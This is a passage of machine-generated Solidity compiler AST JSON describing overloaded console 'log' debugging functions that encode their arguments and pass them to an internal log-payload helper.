bility":"internal"}],"src":"29750:54:15"},"returnParameters":{"id":27110,"nodeType":"ParameterList","parameters":[],"src":"29819:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27146,"nodeType":"FunctionDefinition","src":"29937:182:15","nodes":[],"body":{"id":27145,"nodeType":"Block","src":"30009:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c75696e743235362c626f6f6c29","id":27137,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30059:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_5f743a7c155871069fb5e6df4e57e25e572bb3015b18294cc69630b2e0ae2e5f","typeString":"literal_string \"log(uint256,address,uint256,bool)\""},"value":"log(uint256,address,uint256,bool)"},{"id":27138,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27125,"src":"30096:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27139,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27127,"src":"30100:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27140,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27129,"src":"30104:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27141,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27131,"src":"30108:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5f743a7c155871069fb5e6df4e57e25e572bb3015b18294cc69630b2e0ae2e5f","typeString":"literal_string \"log(uint256,address,uint256,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27135,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30035:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27136,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30039:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30035:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27142,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30035:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27134,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"30019:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30019:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27144,"nodeType":"ExpressionStatement","src":"30019:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"29946:3:15","parameters":{"id":27132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27125,"mutability":"mutable","name":"p0","nameLocation":"29958:2:15","nodeType":"VariableDeclaration","scope":27146,"src":"29950:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27124,"name":"uint256","nodeType":"ElementaryTypeName","src":"29950:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27127,"mutability":"mutable","name":"p1","nameLocation":"29970:2:15","nodeType":"VariableDeclaration","scope":27146,"src":"29962:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27126,"name":"address","nodeType":"ElementaryTypeName","src":"29962:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27129,"mutability":"mutable","name":"p2","nameLocation":"29982:2:15","nodeType":"VariableDeclaration","scope":27146,"src":"29974:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27128,"name":"uint256","nodeType":"ElementaryTypeName","src":"29974:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27131,"mutability":"mutable","name":"p3","nameLocation":"29991:2:15","nodeType":"VariableDeclaration","scope":27146,"src":"29986:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27130,"name":"bool","nodeType":"ElementaryTypeName","src":"29986:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"29949:45:15"},"returnParameters":{"id":27133,"nodeType":"ParameterList","parameters":[],"src":"30009:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27169,"nodeType":"FunctionDefinition","src":"30125:188:15","nodes":[],"body":{"id":27168,"nodeType":"Block","src":"30200:113:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c75696e743235362c6164647265737329","id":27160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30250:38:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_15c127b50404cc1f9627d5115fd42bf400df548658b1002bf25e12f94854b379","typeString":"literal_string \"log(uint256,address,uint256,address)\""},"value":"log(uint256,address,uint256,address)"},{"id":27161,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27148,"src":"30290:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27162,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27150,"src":"30294:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27163,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27152,"src":"30298:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27164,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27154,"src":"30302:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_15c127b50404cc1f9627d5115fd42bf400df548658b1002bf25e12f94854b379","typeString":"literal_string \"log(uint256,address,uint256,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27158,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30226:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27159,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30230:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30226:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27165,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30226:79:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27157,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"30210:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30210:96:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27167,"nodeType":"ExpressionStatement","src":"30210:96:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30134:3:15","parameters":{"id":27155,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27148,"mutability":"mutable","name":"p0","nameLocation":"30146:2:15","nodeType":"VariableDeclaration","scope":27169,"src":"30138:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27147,"name":"uint256","nodeType":"ElementaryTypeName","src":"30138:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27150,"mutability":"mutable","name":"p1","nameLocation":"30158:2:15","nodeType":"VariableDeclaration","scope":27169,"src":"30150:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27149,"name":"address","nodeType":"ElementaryTypeName","src":"30150:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27152,"mutability":"mutable","name":"p2","nameLocation":"30170:2:15","nodeType":"VariableDeclaration","scope":27169,"src":"30162:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27151,"name":"uint256","nodeType":"ElementaryTypeName","src":"30162:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27154,"mutability":"mutable","name":"p3","nameLocation":"30182:2:15","nodeType":"VariableDeclaration","scope":27169,"src":"30174:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27153,"name":"address","nodeType":"ElementaryTypeName","src":"30174:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30137:48:15"},"returnParameters":{"id":27156,"nodeType":"ParameterList","parameters":[],"src":"30200:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27192,"nodeType":"FunctionDefinition","src":"30319:193:15","nodes":[],"body":{"id":27191,"nodeType":"Block","src":"30400:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c737472696e672c75696e7432353629","id":27183,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30450:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_46826b5dec5e8aeff4504f2c138d4e9c8aadb89d9034725f3050269a35303ba0","typeString":"literal_string \"log(uint256,address,string,uint256)\""},"value":"log(uint256,address,string,uint256)"},{"id":27184,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27171,"src":"30489:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27185,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27173,"src":"30493:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27186,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27175,"src":"30497:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27187,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27177,"src":"30501:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_46826b5dec5e8aeff4504f2c138d4e9c8aadb89d9034725f3050269a35303ba0","typeString":"literal_string \"log(uint256,address,string,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27181,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30426:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27182,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30430:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30426:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27188,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30426:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27180,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"30410:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30410:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27190,"nodeType":"ExpressionStatement","src":"30410:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30328:3:15","parameters":{"id":27178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27171,"mutability":"mutable","name":"p0","nameLocation":"30340:2:15","nodeType":"VariableDeclaration","scope":27192,"src":"30332:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27170,"name":"uint256","nodeType":"ElementaryTypeName","src":"30332:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27173,"mutability":"mutable","name":"p1","nameLocation":"30352:2:15","nodeType":"VariableDeclaration","scope":27192,"src":"30344:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27172,"name":"address","nodeType":"ElementaryTypeName","src":"30344:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27175,"mutability":"mutable","name":"p2","nameLocation":"30370:2:15","nodeType":"VariableDeclaration","scope":27192,"src":"30356:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27174,"name":"string","nodeType":"ElementaryTypeName","src":"30356:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27177,"mutability":"mutable","name":"p3","nameLocation":"30382:2:15","nodeType":"VariableDeclaration","scope":27192,"src":"30374:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27176,"name":"uint256","nodeType":"ElementaryTypeName","src":"30374:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"30331:54:15"},"returnParameters":{"id":27179,"nodeType":"ParameterList","parameters":[],"src":"30400:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27215,"nodeType":"FunctionDefinition","src":"30518:198:15","nodes":[],"body":{"id":27214,"nodeType":"Block","src":"30605:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c737472696e672c737472696e6729","id":27206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30655:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3e128ca3cc785552dc4e62d3c73af79fb5f114dc6f0c0eb2bc0e3bdbbd4a1d3b","typeString":"literal_string \"log(uint256,address,string,string)\""},"value":"log(uint256,address,string,string)"},{"id":27207,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27194,"src":"30693:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27208,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27196,"src":"30697:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27209,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27198,"src":"30701:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27210,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27200,"src":"30705:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3e128ca3cc785552dc4e62d3c73af79fb5f114dc6f0c0eb2bc0e3bdbbd4a1d3b","typeString":"literal_string \"log(uint256,address,string,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27204,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30631:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27205,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30635:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30631:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30631:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27203,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"30615:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30615:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27213,"nodeType":"ExpressionStatement","src":"30615:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30527:3:15","parameters":{"id":27201,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27194,"mutability":"mutable","name":"p0","nameLocation":"30539:2:15","nodeType":"VariableDeclaration","scope":27215,"src":"30531:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27193,"name":"uint256","nodeType":"ElementaryTypeName","src":"30531:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27196,"mutability":"mutable","name":"p1","nameLocation":"30551:2:15","nodeType":"VariableDeclaration","scope":27215,"src":"30543:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27195,"name":"address","nodeType":"ElementaryTypeName","src":"30543:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27198,"mutability":"mutable","name":"p2","nameLocation":"30569:2:15","nodeType":"VariableDeclaration","scope":27215,"src":"30555:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27197,"name":"string","nodeType":"ElementaryTypeName","src":"30555:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27200,"mutability":"mutable","name":"p3","nameLocation":"30587:2:15","nodeType":"VariableDeclaration","scope":27215,"src":"30573:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27199,"name":"string","nodeType":"ElementaryTypeName","src":"30573:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"30530:60:15"},"returnParameters":{"id":27202,"nodeType":"ParameterList","parameters":[],"src":"30605:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27238,"nodeType":"FunctionDefinition","src":"30722:187:15","nodes":[],"body":{"id":27237,"nodeType":"Block","src":"30800:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c737472696e672c626f6f6c29","id":27229,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30850:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_cc32ab07df108ae88df1c6b9771e60e5cd39cbe0f0e92481af8633000db2c64b","typeString":"literal_string \"log(uint256,address,string,bool)\""},"value":"log(uint256,address,string,bool)"},{"id":27230,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27217,"src":"30886:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27231,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27219,"src":"30890:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27232,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27221,"src":"30894:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27233,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27223,"src":"30898:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_cc32ab07df108ae88df1c6b9771e60e5cd39cbe0f0e92481af8633000db2c64b","typeString":"literal_string \"log(uint256,address,string,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27227,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30826:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27228,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30830:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"30826:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30826:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27226,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"30810:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30810:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27236,"nodeType":"ExpressionStatement","src":"30810:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"30731:3:15","parameters":{"id":27224,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27217,"mutability":"mutable","name":"p0","nameLocation":"30743:2:15","nodeType":"VariableDeclaration","scope":27238,"src":"30735:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27216,"name":"uint256","nodeType":"ElementaryTypeName","src":"30735:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27219,"mutability":"mutable","name":"p1","nameLocation":"30755:2:15","nodeType":"VariableDeclaration","scope":27238,"src":"30747:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27218,"name":"address","nodeType":"ElementaryTypeName","src":"30747:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27221,"mutability":"mutable","name":"p2","nameLocation":"30773:2:15","nodeType":"VariableDeclaration","scope":27238,"src":"30759:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27220,"name":"string","nodeType":"ElementaryTypeName","src":"30759:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27223,"mutability":"mutable","name":"p3","nameLocation":"30782:2:15","nodeType":"VariableDeclaration","scope":27238,"src":"30777:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27222,"name":"bool","nodeType":"ElementaryTypeName","src":"30777:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"30734:51:15"},"returnParameters":{"id":27225,"nodeType":"ParameterList","parameters":[],"src":"30800:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27261,"nodeType":"FunctionDefinition","src":"30915:193:15","nodes":[],"body":{"id":27260,"nodeType":"Block","src":"30996:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c616464726573732c737472696e672c6164647265737329","id":27252,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31046:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9cba8fffa4a3e6f47d307a71f619bf1719d0a75680c6c916d7776ea0341039b9","typeString":"literal_string \"log(uint256,address,string,address)\""},"value":"log(uint256,address,string,address)"},{"id":27253,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27240,"src":"31085:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27254,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27242,"src":"31089:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27255,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27244,"src":"31093:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27256,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27246,"src":"31097:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9cba8fffa4a3e6f47d307a71f619bf1719d0a75680c6c916d7776ea0341039b9","typeString":"literal_string \"log(uint256,address,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 